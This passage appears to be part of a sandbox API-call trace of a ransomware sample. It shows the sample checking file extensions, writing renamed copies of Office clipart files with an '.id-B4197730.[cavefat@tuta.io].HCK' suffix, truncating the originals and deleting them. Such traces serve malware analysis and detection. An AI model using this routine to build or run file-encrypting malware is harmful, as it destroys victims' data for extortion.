(lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.938] lstrlenW (lpString=".ppt") returned 4 [0178.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.938] lstrlenW (lpString=".zip") returned 4 [0178.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.938] lstrlenW (lpString=".rar") returned 4 [0178.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.938] lstrlenW (lpString=".bz2") returned 4 [0178.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.938] lstrlenW (lpString=".7z") returned 3 [0178.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.938] lstrlenW (lpString=".dbf") returned 4 [0178.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.938] lstrlenW (lpString=".1cd") returned 4 [0178.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.939] lstrlenW (lpString=".jpg") returned 4 [0178.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.939] lstrlenW (lpString=".doc") returned 4 [0178.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.939] lstrlenW (lpString=".docx") returned 5 [0178.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.939] lstrlenW (lpString=".pdf") returned 4 [0178.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.939] lstrlenW (lpString=".xls") returned 4 [0178.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.939] lstrlenW (lpString=".xlsx") returned 5 [0178.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.939] lstrlenW (lpString=".ppt") returned 4 [0178.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.939] lstrlenW (lpString=".zip") returned 4 [0178.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.939] lstrlenW (lpString=".rar") returned 4 [0178.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.939] lstrlenW (lpString=".bz2") returned 4 [0178.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.939] lstrlenW (lpString=".7z") returned 3 [0178.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.939] lstrlenW (lpString=".dbf") returned 4 [0178.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.939] lstrlenW (lpString=".1cd") returned 4 [0178.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 68 [0178.939] lstrlenW (lpString=".jpg") returned 4 [0178.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.939] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.939] lstrlenW (lpString="NA02424_.WMF") returned 12 [0178.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.941] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1340) returned 1 [0178.941] CloseHandle (hObject=0x368) returned 1 [0178.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf")) returned 0x220 [0178.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.944] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.944] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.948] GetLastError () returned 0x0 [0178.948] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x53c, lpOverlapped=0x0) returned 1 [0178.949] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x540, lpOverlapped=0x0) returned 1 [0178.950] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.950] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.950] SetEndOfFile (hFile=0x2fc) returned 1 [0178.952] CloseHandle (hObject=0x2fc) returned 1 [0178.952] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.952] SetEndOfFile (hFile=0x368) returned 1 [0178.953] CloseHandle (hObject=0x368) returned 1 [0178.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02424_.wmf")) returned 1 [0178.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.958] lstrlenW (lpString=".doc") returned 4 [0178.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.958] lstrlenW (lpString=".docx") returned 5 [0178.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.958] lstrlenW (lpString=".pdf") returned 4 [0178.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.958] lstrlenW (lpString=".xls") returned 4 [0178.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.958] lstrlenW (lpString=".xlsx") returned 5 [0178.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.958] lstrlenW (lpString=".ppt") returned 4 [0178.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.958] lstrlenW (lpString=".zip") returned 4 [0178.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.958] lstrlenW (lpString=".rar") returned 4 [0178.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.958] lstrlenW (lpString=".bz2") returned 4 [0178.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.958] lstrlenW (lpString=".7z") returned 3 [0178.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.958] lstrlenW (lpString=".dbf") returned 4 [0178.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.958] lstrlenW (lpString=".1cd") returned 4 [0178.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.959] lstrlenW (lpString=".jpg") returned 4 [0178.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.959] lstrlenW (lpString=".doc") returned 4 [0178.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.959] lstrlenW (lpString=".docx") returned 5 [0178.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.959] lstrlenW (lpString=".pdf") returned 4 [0178.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.959] lstrlenW (lpString=".xls") returned 4 [0178.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.959] lstrlenW (lpString=".xlsx") returned 5 [0178.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.959] lstrlenW (lpString=".ppt") returned 4 [0178.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.959] lstrlenW (lpString=".zip") returned 4 [0178.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.959] lstrlenW (lpString=".rar") returned 4 [0178.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.959] lstrlenW (lpString=".bz2") returned 4 [0178.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.959] lstrlenW (lpString=".7z") returned 3 [0178.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.959] lstrlenW (lpString=".dbf") returned 4 [0178.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.959] lstrlenW (lpString=".1cd") returned 4 [0178.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02424_.WMF") returned 68 [0178.959] lstrlenW (lpString=".jpg") returned 4 [0178.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.959] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.959] lstrlenW (lpString="NA02439_.WMF") returned 12 [0178.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.963] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5172) returned 1 [0178.963] CloseHandle (hObject=0x300) returned 1 [0178.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf")) returned 0x220 [0178.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.967] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.967] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.970] GetLastError () returned 0x0 [0178.970] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1434, lpOverlapped=0x0) returned 1 [0178.972] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1440, lpOverlapped=0x0) returned 1 [0178.973] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.973] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.973] SetEndOfFile (hFile=0x300) returned 1 [0178.974] CloseHandle (hObject=0x300) returned 1 [0178.975] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.975] SetEndOfFile (hFile=0x368) returned 1 [0178.977] CloseHandle (hObject=0x368) returned 1 [0178.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02439_.wmf")) returned 1 [0178.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.981] lstrlenW (lpString=".doc") returned 4 [0178.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.981] lstrlenW (lpString=".docx") returned 5 [0178.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.981] lstrlenW (lpString=".pdf") returned 4 [0178.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.981] lstrlenW (lpString=".xls") returned 4 [0178.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.981] lstrlenW (lpString=".xlsx") returned 5 [0178.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.981] lstrlenW (lpString=".ppt") returned 4 [0178.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.981] lstrlenW (lpString=".zip") returned 4 [0178.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.981] lstrlenW (lpString=".rar") returned 4 [0178.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.981] lstrlenW (lpString=".bz2") returned 4 [0178.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.981] lstrlenW (lpString=".7z") returned 3 [0178.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.981] lstrlenW (lpString=".dbf") returned 4 [0178.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.982] lstrlenW (lpString=".1cd") returned 4 [0178.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.982] lstrlenW (lpString=".jpg") returned 4 [0178.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.982] lstrlenW (lpString=".doc") returned 4 [0178.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString=".docx") returned 5 [0178.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.982] lstrlenW (lpString=".pdf") returned 4 [0178.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString=".xls") returned 4 [0178.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.982] lstrlenW (lpString=".xlsx") returned 5 [0178.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.982] lstrlenW (lpString=".ppt") returned 4 [0178.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.982] lstrlenW (lpString=".zip") returned 4 [0178.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.982] lstrlenW (lpString=".rar") returned 4 [0178.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString=".bz2") returned 4 [0178.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString=".7z") returned 3 [0178.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.982] lstrlenW (lpString=".dbf") returned 4 [0178.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.982] lstrlenW (lpString=".1cd") returned 4 [0178.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02439_.WMF") returned 68 [0178.982] lstrlenW (lpString=".jpg") returned 4 [0178.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.983] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.983] lstrlenW (lpString="NA02446_.WMF") returned 12 [0178.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.988] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2612) returned 1 [0178.988] CloseHandle (hObject=0x300) returned 1 [0178.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf")) returned 0x220 [0178.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.993] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.993] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.994] GetLastError () returned 0x0 [0178.994] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xa34, lpOverlapped=0x0) returned 1 [0178.995] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa40, lpOverlapped=0x0) returned 1 [0178.996] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.996] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.997] SetEndOfFile (hFile=0x300) returned 1 [0178.998] CloseHandle (hObject=0x300) returned 1 [0179.001] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.001] SetEndOfFile (hFile=0x368) returned 1 [0179.002] CloseHandle (hObject=0x368) returned 1 [0179.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02446_.wmf")) returned 1 [0179.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.006] lstrlenW (lpString=".doc") returned 4 [0179.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.006] lstrlenW (lpString=".docx") returned 5 [0179.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.006] lstrlenW (lpString=".pdf") returned 4 [0179.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.006] lstrlenW (lpString=".xls") returned 4 [0179.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.006] lstrlenW (lpString=".xlsx") returned 5 [0179.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.006] lstrlenW (lpString=".ppt") returned 4 [0179.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 68 [0179.006] lstrlenW (lpString=".zip") returned 4 [0179.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 